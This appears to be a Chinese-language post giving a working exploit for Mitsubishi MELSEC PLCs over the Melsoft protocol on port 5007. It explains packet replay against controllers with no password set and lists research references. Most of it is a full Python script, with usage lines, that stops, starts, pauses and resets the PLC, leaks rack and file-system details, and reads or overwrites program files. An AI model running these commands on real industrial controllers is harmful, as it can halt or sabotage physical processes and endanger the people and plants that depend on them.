三菱系列PLC,Melsoft私有协议,但如果没有配置口令,则可以直接进行重放攻击,通过wireshark抓取组态软件与PLC的通信报文即可获得控制PLC的数据包,重放即可。
相关研究文章:
- 三菱Q系列PLC安全分析报告(MITSUBISHIELECTRIC MELSEC-Q series PLC Analysis Report)
- 三菱Q系列PLC以太网识别脚本(ICS Discovery Tools Releases)
- 三菱Q03UDV通訊(MC協定)
- C#通过3E帧SLMP/MC协议读写三菱FX5U/Q系列PLC数据案例
相关文档:
目前功能如下:
- 启动、停止、暂停、重置
- 查看PLC状态
- 泄露架子信息
- 泄露文件系统
- 读写文件
用法:
➜ python exp.py 192.168.2.1 stop
➜ python exp.py 192.168.2.1 run
➜ python exp.py 192.168.2.1 pause
➜ python exp.py 192.168.2.1 reset
➜ python exp.py 192.168.2.1 state
➜ python exp.py 192.168.2.1 leak
➜ python exp.py 192.168.2.1 listfile
➜ python exp.py 192.168.2.1 readfile MAIN.QPG
➜ python exp.py 192.168.2.1 writefile MAIN.QPG 1111111111111111
import socket,sys
s = socket.socket()
s.connect((sys.argv[1],5007))
if sys.argv[2]=="run" :
s.send("57000000001111070000ffff030000fe03000016001c080a08000000000000000410019a00000001000000".decode("hex"))
s.recv(1024)
elif sys.argv[2]=="stop":
s.send("57000000001111070000ffff030000fe03000014001c080a0800000000000000041002630000000100".decode("hex"))
s.recv(1024)
elif sys.argv[2]=="pause":
s.send("57000000001111070000ffff030000fe03000014001c080a0800000000000000041003040000000100".decode("hex"))
s.recv(1024)
elif sys.argv[2] == "state":
s.send("57001f00001111070000ffff030000fe03000012001c080a080000000000000004080228000000".decode("hex"))
r = s.recv(1024)
if(r[0x2f]=='\x20'): print "run"
elif(r[0x2f]=='\x22'): print "stop"
elif(r[0x2f]=='\x23'): print "pause"
elif sys.argv[2] == "reset":
s.send("57000000001111070000ffff030000fe03000014001c080a0800000000000000041002630000000100".decode("hex"))
s.recv(1024)
s.send("57000a00001111070000ffff030000fe03000014003c080a08000000000000000410060a0000000100".decode("hex"))
s.recv(1024)
elif sys.argv[2] == "leak":
s.send("57000000001111070000ffff030000fe03000014001c080a08000000000000000401012a0000000001".decode("hex"))
r = s.recv(1024)[0x29:0x39]
s.send("57000f00001111070000ffff030000fe0300001a001c080a0800000000000000040b050f0000000201540054000000".decode("hex"))
r += s.recv(1024)[0x53:]
s.send("57001000001111070000ffff030000fe0300001a001c080a0800000000000000040b05100000000201a80054000000".decode("hex"))
r += s.recv(1024)[0x28:]
print r.replace("A ","\nA ").replace(" 0"," ")
elif sys.argv[2] == "listfile":
for i in range(1,9):
try:
payload = "57001900001111070000ffff030000fe0300001e001c080a080000000000000004181019000000000000000000"+str(i).zfill(2)+"0001000000"
s.send(payload.decode("hex"))
a = s.recv(1024)
print a[0x2b:0x37],
print int(a[0x47:0x49][::-1].encode("hex"),16)
except:
pass
elif sys.argv[2] == "readfile":
s.settimeout(5)
name = sys.argv[3]
payload = name.encode("hex")
length = hex(len(name)+29)[2:]
# open file 1827
s.send(("57005c00001111070000ffff030000fe030000"+length+"001c080a08000000000000000418279600000000000000000000000a00"+payload+"00").decode("hex"))
s.recv(1024)
# read file 1828
s.send("57005d00001111070000ffff030000fe0300001a001c080a0800000000000000041828900000000000000000008007".decode("hex"))
r = ""
while True:
try: r += s.recv(1024)
except:break
print r[0x2b:]
# close file 182a
s.send("57007400001111070000ffff030000fe03000016001c080a080000000000000004182aae00000000000100".decode("hex"))
s.recv(1024)
elif sys.argv[2] == "writefile":
s.settimeout(5)
name = sys.argv[3]
payload = name.encode("hex")
length = hex(len(name)+29)[2:]
# open file 1827
s.send(("57005c00001111070000ffff030000fe030000"+length+"001c080a08000000000000000418279600000000000000000100000a00"+payload+"00").decode("hex"))
s.recv(1024)
data = sys.argv[4]
content = data.encode("hex")
length = hex(len(data)+26)[2:]
# write file 1829
s.send(("57001a00001111070000ffff030000fe030000"+length+"001c080a08000000000000000418291a0000000000000000008007"+content).decode("hex"))
s.recv(1024)
# close file 182a
s.send("57007400001111070000ffff030000fe03000016001c080a080000000000000004182aae00000000000100".decode("hex"))
s.recv(1024)